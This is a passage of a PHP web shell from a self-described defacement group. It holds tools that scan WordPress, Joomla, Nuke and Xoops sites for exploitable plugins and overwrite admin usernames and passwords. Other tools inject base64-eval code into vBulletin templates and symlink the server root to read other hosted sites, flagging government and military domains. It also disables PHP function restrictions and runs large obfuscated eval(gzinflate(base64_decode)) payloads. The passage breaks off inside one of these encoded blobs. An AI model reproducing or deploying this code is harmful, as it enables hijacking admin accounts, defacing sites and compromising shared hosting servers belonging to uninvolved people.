  1353. }
  1354.  
  1355. /**************************************************************/
  1356. /* WP Conf */
  1357.  
  1358. function get_plugins($site){
  1359.  
  1360. $source = @file_get_contents($site);
  1361.  
  1362. preg_match_all("#/plugins/(.*?)/#i", $source, $f);
  1363.  
  1364. $plugins=array_unique($f[1]);
  1365.  
  1366. if(count($plugins)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
  1367.  
  1368. foreach($plugins as $plugin){
  1369.  
  1370. echo "<tr><td>$plugin</td>";
  1371.  
  1372. ask_exploit_db($plugin);
  1373.  
  1374. }
  1375.  
  1376. }
  1377.  
  1378. /**************************************************************/
  1379. /* Nuke's Conf */
  1380.  
  1381. function get_numod($site){
  1382.  
  1383. $source = @file_get_contents($site);
  1384.  
  1385. preg_match_all('{?name=(.*?)/}i',$source,$f);
  1386. preg_match_all('{?name=(.*?)(&amp;|&|l_op=")}i',$source,$f2);
  1387. preg_match_all('{/modules/(.*?)/}i',$source,$f3);
  1388.  
  1389. $arz=array_merge($f2[1],$f[1],$f3[1]);
  1390.  
  1391. $coms=array();
  1392.  
  1393. if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
  1394.  
  1395. foreach(array_unique($arz) as $x){
  1396.  
  1397. $coms[]=$x;
  1398. }
  1399.  
  1400. foreach($coms as $nmod){
  1401.  
  1402. echo "<tr><td>$nmod</td>";
  1403.  
  1404. ask_exploit_db($nmod);
  1405.  
  1406. }
  1407.  
  1408. }
  1409.  
  1410. /*****************************************************/
  1411. /* Xoops Conf */
  1412.  
  1413. function get_xoomod($site){
  1414.  
  1415. $source = @file_get_contents($site);
  1416.  
  1417. preg_match_all('{/modules/(.*?)/}i',$source,$f);
  1418.  
  1419. $arz=array_merge($f[1]);
  1420.  
  1421. $coms=array();
  1422.  
  1423. if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
  1424.  
  1425. foreach(array_unique($arz) as $x){
  1426.  
  1427. $coms[]=$x;
  1428. }
  1429.  
  1430. foreach($coms as $xmod){
  1431.  
  1432. echo "<tr><td>$xmod</td>";
  1433.  
  1434. ask_exploit_db($xmod);
  1435.  
  1436. }
  1437.  
  1438. }
  1439.  
  1440. /**************************************************************/
  1441. /* Header */
  1442. function t_header($site){
  1443.  
  1444. echo'<table align="center" border="1" width="50%" cellspacing="1" cellpadding="5">';
  1445.  
  1446. echo'
  1447. <tr id="oo">
  1448. <td>Site : <a href="'.$site.'">'.$site.'</a></td>
  1449. <td>Exploit-db</b></td>
  1450. <td>Exploit it !</td>
  1451. </tr>
  1452. ';
  1453.  
  1454. }
  1455.  
  1456. ?>
  1457. <html>
  1458.  
  1459. <body>
  1460.  
  1461. <p align="center">&nbsp;</p>
  1462. <p align="center">&nbsp;</p>
  1463. <p align="center">&nbsp;</p>
  1464. <form method="POST" action="">
  1465. <p align="center">&nbsp;
  1466. </p>
  1467. <p align="center">
  1468. <font size="4"><br></font></p>
  1469. <p align="center">Site :
  1470. <input type="text" name="site" size="33" style="color:#FF0000;background-color:#000000" value="http://www.site.com/"><select style="color:#FF0000;background-color:#000000" size="1" name="what">
  1471. <option>Wordpress</option>
  1472. <option>Joomla</option>
  1473. <option>Nuke's</option>
  1474. <option>Xoops</option>
  1475. </select><input style="color:#FF0000;background-color:#000000" type="submit" value="Scan"></p>
  1476. </form>
  1477. <?
  1478.  
  1479. // Start Scan :P :P ...
  1480.  
  1481. if($_POST){
  1482.  
  1483. $site=strip_tags(trim($_POST['site']));
  1484.  
  1485. t_header($site);
  1486.  
  1487. echo $x01 = ($_POST['what']=="Wordpress") ? get_plugins($site):"";
  1488. echo $x02 = ($_POST['what']=="Joomla") ? get_components($site):"";
  1489. echo $x03 = ($_POST['what']=="Nuke's") ? get_numod($site):"";
  1490. echo $x04 = ($_POST['what']=="Xoops") ? get_xoomod($site):"";
  1491. echo '</table></body></html>';
  1492.  
  1493. }
  1494. }
  1495.  
  1496.  
  1497. elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
  1498. {
  1499. ?>
  1500. <form action="?y=<?php echo $pwd; ?>&amp;x=jm-reset" method="post">
  1501.  
  1502. <?php
  1503.  
  1504. @error_reporting(0);
  1505. @ini_set('error_log',NULL);
  1506. echo '
  1507. <div class="com">
  1508. <form method="post">
  1509. <center><br><br><table border="1" bordercolor="#FFFFFF" width="400" cellpadding="1" cellspacing="1">
  1510. <br />
  1511. <tr>
  1512. <td>Host :</td>
  1513. <td><input type="text" style="color:#FF0000;background-color:#000000" name="host" value="localhost" /></td>
  1514. </tr>
  1515. <tr>
  1516. <td>user :</td>
  1517. <td><input type="text" style="color:#FF0000;background-color:#000000" name="user" /></td>
  1518. </tr>
  1519. <tr>
  1520. <td>Pass :</td><td><input style="color:#FF0000;background-color:#000000" type="text" name="pass"/></td>
  1521. </tr>
  1522. <tr>
  1523. <td>db :</td>
  1524. <td><input type="text" style="color:#FF0000;background-color:#000000" name="db" /></td>
  1525. </tr>
  1526. <tr>
  1527. <td>dbprefix :</td>
  1528. <td><input type="text" style="color:#FF0000;background-color:#000000" name="jop" value="jos_users" /></td>
  1529. </tr>
  1530. <tr>
  1531. <td>Admin User :</td>
  1532. <td><input type="text" style="color:#FF0000;background-color:#000000" name="users" value="leetboy" /></td>
  1533. </tr>
  1534. <tr>
  1535. <td>Admin Password :</td>
  1536. <td><input type="text" style="color:#FF0000;background-color:#000000" name="passwd" value="hackedbyleetboy" /></td>
  1537. </tr>
  1538. <tr>
  1539. <td colspan="6" align="center" style="color:#FF0000;background-color:#000000" width="70%"> <input type="submit" value="Change Pass" style="color:#FF0000;background-color:#000000" maxlength="30" /> <input type="reset" value="clear" style="color:#FF0000;background-color:#000000" maxlength="30" /> </td>
  1540.  
  1541. </tr>
  1542. </table>
  1543. </form> </div></center>';
  1544.  
  1545. $host = $_POST['host'];
  1546. $user = $_POST['user'];
  1547. $pass = $_POST['pass'];
  1548. $db = $_POST['db'];
  1549. $jop = $_POST['jop'];
  1550. $users = $_POST['users'];
  1551. $admpas = $_POST['passwd'];
  1552.  
  1553. if(isset($host) ) {
  1554. $con = @ mysql_connect($host,$user,$pass) or die ;
  1555. $sedb = @ mysql_select_db($db) or die;
  1556.  
  1557. $query= @ mysql_query("UPDATE $jop SET username ='".$users."' WHERE usertype = Super Administrator") or die;
  1558. $query= @ mysql_query("UPDATE $jop SET password ='".$admpas."' WHERE usertype = Super Administrator") or die;
  1559.  
  1560. if ($query)
  1561. {
  1562. echo "<center><br /><div class='com'>Queried !<br /><br /></div></center>";
  1563. }
  1564. else if (!$query)
  1565. {
  1566. echo "error";
  1567. }
  1568.  
  1569. }else
  1570. {
  1571. echo "<center><br /><div class='com'>Enter the database !<br /><br /></div></center>";
  1572. }
  1573. }
  1574.  
  1575.  
  1576.  
  1577. elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
  1578. {
  1579. ?>
  1580. <form action="?y=<?php echo $pwd; ?>&amp;x=wp-reset" method="post">
  1581.  
  1582. <?php
  1583.  
  1584. @error_reporting(0);
  1585. @ini_set('error_log',NULL);
  1586. echo '
  1587. <div class="com">
  1588. <form method="post">
  1589. <center><br><br><table border="1" bordercolor="#FFFFFF" width="400" cellpadding="1" cellspacing="1">
  1590. <br />
  1591.  
  1592. <tr>
  1593. <td>Host :</td>
  1594. <td><input type="text" name="host" style="color:#FF0000;background-color:#000000" value="localhost" /></td>
  1595. </tr>
  1596.  
  1597. <tr>
  1598. <td>user :</td>
  1599. <td><input type="text" style="color:#FF0000;background-color:#000000" name="user" /></td>
  1600. </tr>
  1601. <tr>
  1602. <td>Pass :</td><td><input type="text" style="color:#FF0000;background-color:#000000" name="pass"/></td>
  1603. </tr>
  1604. <tr>
  1605. <td>db :</td>
  1606. <td><input type="text" style="color:#FF0000;background-color:#000000" name="db" /></td>
  1607. </tr>
  1608. <tr>
  1609. <td>user admin :</td>
  1610. <td><input type="text" style="color:#FF0000;background-color:#000000" name="useradmin" value="leetboy" /></td>
  1611. </tr>
  1612. <tr>
  1613. <td>pass admin :</td>
  1614. <td><input type="text" style="color:#FF0000;background-color:#000000" name="passadmin" value="hackedbyleetboy"/></td>
  1615. </tr>
  1616. <tr>
  1617. <td colspan="6" align="center" width="70%"> <input type="submit" style="color:#FF0000;background-color:#000000" value="Change Pass" maxlength="30" /> <input type="reset" value="clear" style="color:#FF0000;background-color:#000000" maxlength="30" /> </td>
  1618.  
  1619. </tr>
  1620. </table>
  1621. </form> </div></center>';
  1622.  
  1623. $host = $_POST['host'];
  1624. $user = $_POST['user'];
  1625. $pass = $_POST['pass'];
  1626. $db = $_POST['db'];
  1627. $useradmin = $_POST['useradmin'];
  1628. $pass_ad = $_POST['passadmin'];
  1629.  
  1630. if(isset($host) ) {
  1631. $con =@ mysql_connect($host,$user,$pass) or die ;
  1632. $sedb =@ mysql_select_db($db) or die;
  1633. $crypt = crypt($pass_ad);
  1634. $query =@mysql_query("UPDATE `wp_users` SET `user_login` ='".$useradmin."' WHERE ID = 1") or die('Cant Update ID Number 1');
  1635. $query =@mysql_query("UPDATE `wp_users` SET `user_pass` ='".$crypt."' WHERE ID = 1") or die('Cant Update ID Number 1');
  1636. if ($query)
  1637. {
  1638. echo "<center><br /><div class='com'>Queried !<br /><br /></div></center>";
  1639. }
  1640. else if (!$query)
  1641. {
  1642. echo "error";
  1643. }
  1644.  
  1645. }else
  1646. {
  1647. echo "<center><br /><div class='com'>Enter the database !<br /><br /></div></center>";
  1648. }
  1649. }
  1650.  
  1651.  
  1652. elseif(isset($_GET['x']) && ($_GET['x'] == 'web-info'))
  1653. {
  1654. ?>
  1655. <form action="?y=<?php echo $pwd; ?>&amp;x=web-info" method="post">
  1656.  
  1657.  
  1658. <?php
  1659. @set_time_limit(0);
  1660. @error_reporting(0);
  1661.  
  1662. function sws_domain_info($site)
  1663. {
  1664. $getip = @file_get_contents("http://networktools.nl/whois/$site");
  1665. flush();
  1666. $ip = @findit($getip,'<pre>','</pre>');
  1667.  
  1668. return $ip;
  1669. flush();
  1670. }
  1671.  
  1672.  
  1673. function sws_net_info($site)
  1674. {
  1675. $getip = @file_get_contents("http://networktools.nl/asinfo/$site");
  1676. $ip = @findit($getip,'<pre>','</pre>');
  1677.  
  1678. return $ip;
  1679. flush();
  1680. }
  1681.  
  1682. function sws_site_ser($site)
  1683. {
  1684. $getip = @file_get_contents("http://networktools.nl/reverseip/$site");
  1685. $ip = @findit($getip,'<pre>','</pre>');
  1686.  
  1687. return $ip;
  1688. flush();
  1689. }
  1690.  
  1691. function sws_sup_dom($site)
  1692. {
  1693. $getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
  1694. $ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
  1695.  
  1696. return $ip;
  1697. flush();
  1698. }
  1699.  
  1700. function sws_port_scan($ip)
  1701. {
  1702.  
  1703. $list_post = array('80','21','22','2082','25','53','110','443','143');
  1704.  
  1705. foreach ($list_post as $o_port)
  1706. {
  1707. $connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
  1708.  
  1709. if($connect)
  1710. {
  1711. echo " $ip : $o_port &nbsp;&nbsp;&nbsp; <u style="color: #009900">Open</u> <br /><br />";
  1712. flush();
  1713. }
  1714. }
  1715.  
  1716. }
  1717.  
  1718. function findit($mytext,$starttag,$endtag) {
  1719. $posLeft = @stripos($mytext,$starttag)+strlen($starttag);
  1720. $posRight = @stripos($mytext,$endtag,$posLeft+1);
  1721. return @substr($mytext,$posLeft,$posRight-$posLeft);
  1722. flush();
  1723. }
  1724.  
  1725. echo '<br><br><center>';
  1726.  
  1727.  
  1728. echo '
  1729. <br />
  1730. <div class="sc"><form method="post">
  1731. Site to scan : <input type="text" name="site" size="30" style="color:#FF0000;background-color:#000000" value="site.com" /> &nbsp;&nbsp <input type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan !" />
  1732. </form></div>';
  1733.  
  1734.  
  1735. if(isset($_POST['scan']))
  1736. {
  1737.  
  1738.  
  1739.  
  1740.  
  1741. $site = @htmlentities($_POST['site']);
  1742. if (empty($site)){die('<br /><br /> Not add IP .. !');}
  1743.  
  1744. $ip_port = @gethostbyname($site);
  1745.  
  1746. echo "
  1747.  
  1748.  
  1749.  
  1750.  
  1751.  
  1752. <br /><div class="sc2">Scanning [ $site ip $ip_port ] ... </div>
  1753.  
  1754. <div class="tit"> <br /><br />|-------------- Port Server ------------------| <br /></div>
  1755. <div class="ru"> <br /><br /><pre>
  1756. ";
  1757. echo "".sws_port_scan($ip_port)." </pre></div> ";
  1758.  
  1759. flush();
  1760.  
  1761.  
  1762.  
  1763. echo "<div class="tit"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
  1764. <div class="ru">
  1765. <pre>".sws_domain_info($site)."</pre></div>";
  1766. flush();
  1767.  
  1768. echo "
  1769. <div class="tit"> <br /><br />|-------------- Network Info ------------------| <br /></div>
  1770. <div class="ru">
  1771. <pre>".sws_net_info($site)."</pre> </div>";
  1772. flush();
  1773.  
  1774. echo "<div class="tit"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
  1775. <div class="ru">
  1776. <pre>".sws_sup_dom($site)."</pre> </div>";
  1777. flush();
  1778.  
  1779.  
  1780. echo "<div class="tit"> <br /><br />|-------------- Site Server ------------------| <br /></div>
  1781. <div class="ru">
  1782. <pre>".sws_site_ser($site)."</pre> </div>
  1783. <div class="tit"> <br /><br />|-------------- END ------------------| <br /></div>";
  1784. flush();
  1785.  
  1786. }
  1787.  
  1788. echo '</center>';
  1789. }
  1790.  
  1791. elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
  1792. {
  1793. ?>
  1794. <form action="?y=<?php echo $pwd; ?>&amp;x=vb" method="post">
  1795.  
  1796. <br><br><br><div align="center">
  1797. <H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
  1798. <font color="#00FF00">&nbsp;vB Index Changer</font><font color="#FF0000">
  1799. <font face="Tahoma">! Change All Pages For Forum !&nbsp;
  1800. <br></font></div><br>
  1801.  
  1802. <?
  1803.  
  1804. if(empty($_POST['index'])){
  1805. echo "<center><FORM method="POST">
  1806. host : <INPUT size="15" value="localhost" style='color:#FF0000;background-color:#000000' name="localhost" type="text">
  1807. database : <INPUT size="15" style='color:#FF0000;background-color:#000000' value="forum_vb" name="database" type="text"><br>
  1808. username : <INPUT size="15" style='color:#FF0000;background-color:#000000' value="forum_vb" name="username" type="text">
  1809. password : <INPUT size="15" style='color:#FF0000;background-color:#000000' value="vb" name="password" type="text"><br>
  1810. <br>
  1811. <textarea name="index" cols="70" rows="30">Set Your Index</textarea><br>
  1812. <INPUT value="Set" style='color:#FF0000;background-color:#000000' name="send" type="submit">
  1813. </FORM></center>";
  1814. }else{
  1815. $localhost = $_POST['localhost'];
  1816. $database = $_POST['database'];
  1817. $username = $_POST['username'];
  1818. $password = $_POST['password'];
  1819. $index = $_POST['index'];
  1820. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  1821. @mysql_select_db($database) or die(mysql_error());
  1822.  
  1823. $index=str_replace("'","'",$index);
  1824.  
  1825. $set_index = "{\${eval(base64_decode('";
  1826.  
  1827. $set_index .= base64_encode("echo "$index";");
  1828.  
  1829.  
  1830. $set_index .= "'))}}{\${exit()}}</textarea>";
  1831.  
  1832. echo("UPDATE template SET template ='".$set_index."' ") ;
  1833. $ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
  1834.  
  1835. if($ok){
  1836. echo "!! update finish !!<br><br>";
  1837. }
  1838.  
  1839. }
  1840. # Footer
  1841. }
  1842.  
  1843.  
  1844. elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
  1845. {
  1846. ?>
  1847. <form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">
  1848.  
  1849. <?php
  1850.  
  1851. @set_time_limit(0);
  1852.  
  1853. echo "<center>";
  1854.  
  1855. @mkdir('lbsym',0777);
  1856. $htaccess = "Options all
  1857. DirectoryIndex Sux.html
  1858. AddType text/plain .php
  1859. AddHandler server-parsed .php
  1860. AddType text/plain .html
  1861. AddHandler txt .html
  1862. Require None
  1863. Satisfy Any";
  1864. $write =@fopen ('lbsym/.htaccess','w');
  1865. fwrite($write ,$htaccess);
  1866. @symlink('/','lbsym/root');
  1867. $filelocation = basename(__FILE__);
  1868. $read_named_conf = @file('/etc/named.conf');
  1869. if(!$read_named_conf)
  1870. {
  1871. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1872. }
  1873. else
  1874. {
  1875. echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
  1876. foreach($read_named_conf as $subject){
  1877. if(eregi('zone',$subject)){
  1878. preg_match_all('#zone "(.*)"#',$subject,$string);
  1879. flush();
  1880. if(strlen(trim($string[1][0])) >2){
  1881. $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
  1882. $name = $UID['name'] ;
  1883. @symlink('/','lbsym/root');
  1884. $name = $string[1][0];
  1885. $iran = '\.ir';
  1886. $israel = '\.il';
  1887. $indo = '\.id';
  1888. $sg12 = '\.sg';
  1889. $edu = '\.edu';
  1890. $gov = '\.gov';
  1891. $gose = '\.go';
  1892. $gober = '\.gob';
  1893. $mil1 = '\.mil';
  1894. $mil2 = '\.mi';
  1895. if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
  1896. or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
  1897. {
  1898. $name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
  1899. }
  1900. echo "
  1901. <tr>
  1902.  
  1903. <td>
  1904. <div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
  1905. </td>
  1906.  
  1907. <td>
  1908. '.$UID['name']."
  1909. </td>
  1910.  
  1911. <td>
  1912. <a href='lbsym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
  1913. </td>
  1914.  
  1915. </tr></div> ";
  1916. flush();
  1917. }
  1918. }
  1919. }
  1920. }
  1921.  
  1922. echo "</center></table>";
  1923.  
  1924. }
  1925.  
  1926.  
  1927. elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
  1928. {
  1929. ?>
  1930. <form action="?y=<?php echo $pwd; ?>&amp;x=About" method="post">
  1931. <br><br>
  1932. <center>Me BlacKLeeT From LeeTBoY Team<br>
  1933. <img src="http://3.bp.blogspot.com/-ZRJZS6oFZyw/Uc9RycGityI/AAAAAAAAALo/A1llaEdW5Nk/s661/Black+LeeT.png"></center><br><br><br><br><br><br><br><br><br><br><br><br><br>
  1934. About My Group : <div class="text3d" style="position: relative; bottom: 100px; left: 0px; width: 100%; font-size:40px; font-family:serif; hight:100px;"> We Are LeeTBoY Ethical Hacker. We Like To Break Security Which You Made. We Deface Website Without Any Reason, Just Notity Website Admin About His Security. Nothing Else!</div><br><br><br><br>
  1935. <?php
  1936.  
  1937. }
  1938. elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass'))
  1939. {
  1940. ?>
  1941. <form action="?y=<?php echo $pwd; ?>&amp;x=bypass" method="post">
  1942.  
  1943. <body bgcolor=black><h3 style="text-align:center"><font color=red size=2 face="comic sans ms">
  1944. <form method=post>
  1945. <input type=submit name=ini value="Generate PHP.ini" /></form>
  1946. <?php
  1947. if(isset($_POST['ini']))
  1948. {
  1949.  
  1950. $r=fopen('php.ini','w');
  1951. $rr=" disable_functions=none ";
  1952. fwrite($r,$rr);
  1953. $link="<a href=php.ini><font color=white size=2 face="comic sans ms"><u><br>open this link in new tab to run PHP.INI</u></font></a>";
  1954. echo $link;
  1955.  
  1956. }
  1957. ?>
  1958.  
  1959. <?php
  1960.  
  1961. }
  1962. elseif(isset($_GET['x']) && ($_GET['x'] == 'string'))
  1963. {
  1964. ?>
  1965. <?php
  1966. {$text = $_POST['code'];?><center><form method="post"><br><br><br><textarea class='inputz' cols=80 rows=5 name="code">leetboy</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form><?php $op = $_POST["ope"];switch ($op) {case 'base64': $codi=base64_encode($text);break;case 'md5' : $codi=md5($text);break;case 'whash' : $codi=crypt($text);break;case 'SHA1' : $codi=sha1($text);break;case 'urlencode' : $codi=urlencode($text);break;case 'md4' : $codi=hash("md4",$text);break;case 'SHA256' : $codi=hash("sha256",$text);break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center>';}
  1967. ?>
  1968.  
  1969.  
  1970. <?php
  1971.  
  1972. }
  1973. elseif(isset($_GET['x']) && ($_GET['x'] == 'lbjic'))
  1974. {
  1975. ?>
  1976. <?
  1977. ###########################################
  1978. # Joomla Index Changer By BlackLeeT
  1979. # Coded by BlackLeeT | LeeTBoY Team
  1980. # LeeTBoY Ethical Hacker | 2013
  1981. ###########################################
  1982. eval(gzinflate(base64_decode('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')));
  1983. ?>
  1984.  
  1985.  
  1986.  
  1987.  
  1988. <?php
  1989.  
  1990. }
  1991. elseif(isset($_GET['x']) && ($_GET['x'] == 'lbwpic'))
  1992. {
  1993. ?>
  1994. <form action="?y=<?php echo $pwd; ?>&amp;x=lbwpic" method="post">
  1995.  
  1996. <?php $X=
  1997. eval(gzinflate(base64_decode('7Rr9V9pY9md7Tv+Hu5EjUCEhWOuMELqo0NKl4gCOO+t4aD4ekDUkafIQaLf/+973kYCK1G47u90zfR4geff7vvsFcXv70evpk+1ZCK7vkDnYY9MfkQjYYoDjwCEOHC3AL5WsNiH9BOARQq1g8dfRxHQ91Q4mCeBL5II7zGUGZ51e/zI7DKLJwLSpG/jZKzAM0CGPGB+fPnn6JEPJnBpD1yODEaEDO/Ap8Wm8pEVI9ipfQcxpTCLfnBADESJSvinnOHFBccjQ9Ukue3I0OO81utkCZJWCks1XFE4XmnE8CyJnE91Zvde76HRP7tI61uckntbfNu5JjBA+v0eVoaaFdgoogCGIOMkn5ouNPisnPoOEfYrrWJKncBQsPbWKkmwmSKlbbvGRmwmStH8VZckDldaePX1C7HGQS2UyAN9RqlZUU9LbVN6DCELWw/TcxDXgZxpznjuE9c5Dt6HXMmNDqb4EThrTyA1jz4zHJM5ZZkxePB84xMZ8yGUVdRp5xOc3EiTvkGoQkdAzbZJTxMkVUokMA0XhUjEM8vkKkLlLK/CypjA/8pXxXP/amCzi9x6Lc5/YNKd4gW164yCmSiF1YWHpK0DqLQBuHCPP8whIluAVEw9ZDRwrcWFBojLaLchE5L0OUu77KYkWOeX87KTeb8A7RZVuVRUmPH4HvUYf3rHrgReMXP8di1JZELIFAWDK8f2f9vaIVS7v75n63kHJMYfOAfl5v0TKz8u6/tzey8LF60YXxczCgWCvvmudIKkO7dbbVh/rQEW5faCXu1dwzAqV648gkRtD4g+gAcz5QrotNI8Zd8e2XqPdOO7DMxhGrHSt2hiELCRQeaGXuOUBbWTHAYY11wZd5pjURAsF3yGh9nhgRpG5yDF5PMVjl5IBhorBcS8l68GN6U2JcsW5sNcW3AlWubGWSsA/pfHCfGaOsIoYytvgg+t5pvZcLUEOS3JoUhdrSQXe9loNOFBLVgUusM4HsxhO+7Cv6hVQT/Esj9td0FVdfb5XLleg7pG5Cf0g8CwzWsEoqyV1v3RQPsizcBV/6Aa0r2ykpqqKNguLPCzUcBwKzIw9RkfZCB64vktzzAZ+FxOK1uUQXoDj8267c9Yf4EdBcN2IxlKqAPpncZqtRvukV8AcGhkyVnbCmWN41ix07Z2ITMjEIhGeLhYEckOiHdQ/n